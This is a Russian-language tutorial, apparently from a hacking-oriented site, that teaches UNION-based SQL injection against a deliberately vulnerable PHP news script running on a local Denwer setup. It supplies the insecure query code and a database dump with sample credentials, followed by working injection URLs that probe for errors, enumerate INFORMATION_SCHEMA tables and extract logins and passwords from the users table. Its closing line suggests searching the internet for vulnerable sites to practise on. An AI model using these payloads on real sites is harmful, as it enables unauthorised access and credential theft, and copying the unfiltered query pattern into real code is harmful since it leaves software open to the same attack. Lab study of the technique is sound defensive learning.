Уязвимость SQL-injection Введение В данной работе на примере исследуется уязвимость типа SQL Injection с использованием СУБД MySQL и PHP скриптов. Соответственно, для понимания происходящего требуются знания языка запросов SQL и языка php. После теоретической части будут приведены примеры кода и будет описано как все это можно проверить у себя на локальной машине с использованием комплекса DENWER под ОС Windows, хотя можно проделать тоже саоме и под другую ОС, например Linux, используя ту же базу данных MySQL. Т.е. для данного эксперимента потребуется: Веб-сервер Apache PHP, прикрученный к apache СУБД MySQL Атака типа SQL Injection — один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода. Это атака, при которой производится вставка вредоносного кода в строки, передающиеся затем в базу MySQL, для синтаксического анализа и выполнения. Эта уязвимость может дать возможность атакующему выполнить произвольный запрос к базе данных (например, прочитать содержимое любых таблиц, удалить, изменить или добавить данные), получить возможность чтения и/или записи локальных файлов и выполнения произвольных команд на атакуемом сервере. Основная форма атаки SQL Injection состоит в прямой вставке кода в пользовательские входные переменные, которые объединяются с командами SQL и выполняются. Менее явная атака внедряет небезопасный код в строки, предназначенные для хранения в таблице или в виде метаданных. Когда впоследствии сохраненные строки объединяются с динамической командой SQL, происходит выполнение небезопасного кода. Атака осуществляется посредством преждевременного завершения текстовой строки и присоединения к ней новой команды. Поскольку к вставленной команде перед выполнением могут быть добавлены дополнительные строки, злоумышленник заканчивает внедряемую строку меткой комментария «--». Весь последующий текст во время выполнения не учитывается. Пример использования В качестве примера, приведу маленький php скриптик. В нем новости выводятся из базы данных и отображаются пользователям. Но есть одна интересная вещь. Достаточно давно в PHP появилась такая штука, как магические кавычки — эффект автоматической замены кавычки на обратный слэш и кавычку при операциях ввода/вывода в PHP. Это сделано как раз для избежания sql injection у начинающих программистов. По умолчанию в конфиге php.ini данная функция включена. Нам же, для упрощения проведения испытаний надо ее выключить: magic_quotes_gpc = Off в файле php.ini Далее приведен пример скрипта index.php, для которого и возможно провести исследование уязвимости.
mysql_connect($script['mysql_server'], $script['mysql_login'], $script['mysql_password']) or die('Не могу подключиться к серверу'); mysql_select_db($script['mysql_db']) or die('Не могу подключиться к БД');
if(!empty($_GET['id']))//Вывод одной новости { $body.="<h3>Просмотр новости</h3> \n<br>"; $id=$_GET['id']; //$zapros="SELECT * FROM news WHERE id='".$_GET['id']."';"; //echo($id); //echo("<br>"); // если это все раскомментировать то можно будет смотреть каким будет //echo($zapros); // запрос к базе, при изменения id в поле адреса браузера //echo("<br>"); $zapros="SELECT * FROM news WHERE id='".$_GET['id']."';";//Уязвимый запрос $result=mysql_query($zapros); echo(Mysql_error());//Вывод ошибки $data=mysql_fetch_row($result); //Вывод результата запроса $body.="Заголовок: <b>".$data['3']."</b>\n"; $body.="<hr><pre>".$data['4']."</pre>\n"; $body.="<hr>Добавленно ".$data['5']." ".$data['1']." в ".$data['2']."\n<br><br>"; $body.="<a href='?'>Назад</a>"; } else //Ну и простое отображение всех новостей(шоб понятней было где скуль) {
Далее приводится дамп базы данных test, из которой выбираются данные в этом скрипте. Тут есть 2 таблицы: users и news, из которых и выбираются данные в запросах.
CREATE TABLE `news` ( `id` int(11) NOT NULL DEFAULT '0', `date` varchar(8) NOT NULL DEFAULT '', `time` varchar(7) NOT NULL DEFAULT '', `caption` varchar(50) NOT NULL DEFAULT '', `text` text NOT NULL, `avtor` varchar(50) NOT NULL DEFAULT '' ) ENGINE=MyISAM DEFAULT CHARSET=cp1251;
INSERT INTO `news` VALUES (1, '01/04/09', '12:30', 'Превед :)', 'Хакнем скриптег! :)\r\nИ побыстрее а то малоли... :P', 'Бубл'); INSERT INTO `news` VALUES (2, '25/03/09', '11:10', 'БУгага', '=))) :))\r\nТолько за дизайн извиняюсь... както кривовато смотриться...', 'Бубл');
CREATE TABLE `users` ( `login` varchar(20) NOT NULL DEFAULT '', `password` varchar(20) NOT NULL DEFAULT '' ) ENGINE=MyISAM DEFAULT CHARSET=cp1251;
INSERT INTO `users` VALUES ('Admin', 'PaSsWoRd'); INSERT INTO `users` VALUES ('User', '123456'); INSERT INTO `users` VALUES ('Looser', 'big_password');
Методы проведения Как определить данный баг Это довольно таки просто. Надо вставлять во все поля, переменные, куки двойную и одинарные кавычки. Начнем с вот такого скрипта
http://test1.ru/index.php?id=1
Соответетвенно оригинальный запрос выглядит так:
SELECT * FROM news WHERE id='1';
Для наглядности расскоментируем в скрипте index.php строки, тогда вверх втраницы будет отображаться здачение id, передаваемое из адресной строки браузера и сам запрос к базе данных.
//$zapros="SELECT * FROM news WHERE id='".$_GET['id']."';"; //echo($id); //echo("<br>"); // если это все раскомментировать то можно будет смотреть каким будет //echo($zapros); // запрос к базе, при изменения id в поле адреса браузера //echo("<br>");
Теперь мы допишем кавычку в переменную "id", вот так
http://test1.ru/index.php?id=1'
если переменная не фильтруется и включены сообщения об ошибках то вылезет что то наподобие:
mysql_query(): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1''
Так как в запросе к БД будет присутствовать лишняя кавычка:
SELECT * FROM news WHERE id='1'';
Если отчет об ошибках выключен то в данном случае можно определить наличие уязвимости вот так:
http://test1.ru/index.php?id=1'; -- '
То есть запрос к БД станет вот таким:
SELECT * FROM news WHERE id='1'; -- '';
“--“ это знак начала комментария все после него будет отброшено, после него должен быть обязательно пробел и перед ним тоже). Таким образом для MYSQL запрос остается прежним и отобразиться тоже самое что и для
http://test1.ru/index.php?id=1
Как можно из этого извлечь что-то полезное Для начала самое полезное это команда UNION. Модифицируем обращение к скрипту
http://test1.ru/index.php?id=1' UNION SELECT 1 -- '
Запрос к БД у нас получается вот таким:
SELECT * FROM news WHERE id='1' UNION SELECT 1 -- '';
Но есть одно ограничение -- количество столбцов до и после UNION должно быть одинаковым, соответственно его придется подбирать. В нашем примере, как видно из дампа базы -- полей 6, соответственно нам подойдет
http://test1.ru/index.php?id=1' UNION SELECT 1,2,3,4,5,6 -- '
Результатом вывода такой команды будет то же что и должно выводиться без команды UNION. Но нам интересно увидеть какие-нибудь другие данные из базы, тогда заменим id=1 на id=-1 и продолжим. Причем заменять необязательно на -1, просто нужно выбрать такое значение которое не выбирается из БД, в нашем случае полей 6, так что может подойти любой значение больше 6 или меньше 1. Рыщем по таблицам Если есть доступ к INFORMATION_SCHEMA и если версия MYSQL >=5, то можно сделать так:
http://test1.ru/index.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 42,1 -- '';
Где 42,1 -- 42 - будет названием таблицы, причем нумерация идет с первой БД. Т.е. если есть несколько баз, то будут показываться таблицы из всех имеющихся баз данных -- нумерация сквозная. Естественно эти названия будут показываться в каком-то из полей вывода странички. Точнее они будут показываться в том поле, в которое мы поставили TABLE_NAME, то есть у нас название таблицы будет отображаться в поле номер 4, то есть вместо заголовка новости.
http://test1.ru/index.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 41,1 -- '';
Начиная с номера LIMIT 41,1 начинается искомая нами база данных test. Соответственно будут показываться названия таблиц базы данных в поле 4.
Если использовать такой запрос:
http://test1.ru/index.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 42,1 -- '';
То получим:
Так мы находим название таблицы. Далее находим названия полей и т.д. В результате можно получить какие-нибудь логины и пароли. На последнем этапе, зная названия таблиц и их полей можно сделать такой запрос. Мы попробуем просмотреть пользователей из таблицы users. Также можно было перебирать чтобы узнать названия полей таблицы, но мы сразу принали что это поля называются login и password.
http://test1.ru/index.php?id=-1' UNION SELECT 1,2,login,password,5,6 FROM users LIMIT 1,1 -- '
В результате видим:
http://test1.ru/index.php?id=-1' UNION SELECT 1,2,login,password,5,6 FROM users LIMIT 2,1 -- '
В результате:
В результате выведутся login и password первого и второго пользователя. Они будут выводиться на тех местах, где должна изначально была выводиться информация из полей 3 и 4. И самое интересное, если написать
http://test1.ru/index.php?id=-1' UNION SELECT 1,2,login,password,5,6 FROM users LIMIT 0,1 -- '
Так мы увидим:
В результате мы можем узнать данные, которые не отображаются на сайте. В данном примере мы посмотрели админский пароль и может продолжать веселье =). Ну а проверить свои силы можно поставив у себя на ПК Денвер ну или же искать в инете сайты с уязвимостями
Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь.
Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.